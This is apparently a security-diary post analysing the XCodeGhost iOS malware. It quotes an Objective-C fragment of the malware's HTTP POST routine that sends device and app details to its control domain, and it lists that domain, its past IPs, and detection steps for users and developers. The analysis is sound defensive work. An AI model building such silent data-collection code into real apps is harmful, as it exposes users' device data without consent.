Detecting XCodeGhost Activity
End of last week, Palo Alto Networks published information about the "XCodeGhost" malware. Johannes already talked about it in today's podcast episode but I searched for more details about this story. Apple is known to be very strict with its application validation process. Every time a developer submits a new (or an updated) app, it must pass multiple security checks. Why so many applications infected by XCodeGhost successfully passed them? Could we imagine that Apple has some kind of trust with reputed developers or popular applications? Until now, ~50 applications have been reported vulnerable and mainly used in China. But some are popular worldwide like WeChat.
The XCodeGhost has be published by its author on github and a quick analyze shows that the following information is sent to a unique URL via a HTTP POST request:
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url cachePolicy:NSURLRequestReloadIgnoringCacheData timeoutInterval:30];[request setHTTPMethod:@"POST"];
[request setValue:[NSString stringWithFormat:@"%lu",(unsigned long)[concatenatedData length]] forHTTPHeaderField:@"Content-Length"];
[request setHTTPBody: concatenatedData];
The following information is sent to the server:
- Application name
- Application version
- OS version
- Language
- Country
- Developer info
- Application installation type
- Device name
- Device type
The FQDN init.icloud-analysis.com does not resolve anymore but it resolved to the following IP addresses (from the VT Passive DNS):
Date | IP | AS | DShield Score (Target/Count) |
---|---|---|---|
2015-07-17 | 52.2.85.22 | AMAZON-AES - Amazon.com, Inc.,US | 0/0 |
2015-05-14 | 52.4.74.88 | AMAZON-AES - Amazon.com, Inc.,US | 0/0 |
2015-05-13 | 52.6.167.64 | AMAZON-AES - Amazon.com, Inc.,US | 0/0 |
2015-04-29 | 52.68.131.221 | AMAZON-02 - Amazon.com, Inc.,US | 0/0 |
2015-04-15 | 104.238.125.92 | AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC,US | 0/0 |
How to detect infected devices?
If you're an iPhone user:
- Check for HTTP traffic to http://init.icloud-analysis.com in your firewalls or proxies logs.
- Check for traffic to the IP addresses listed above.
- Remove the apps listed as malicious.
- Change passwords on websites used by the malicious applications.
If you're a developer:
- Check if the file Library/Frameworks/CoreServices.framework/CoreService exists in the Xcode SDK/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/.
- Always download resources from official locations and double-check the provided hashes (MD5/SHA1).
Xavier Mertens
ISC Handler - Freelance Security Consultant
rootshell.be
truesec.be
Comments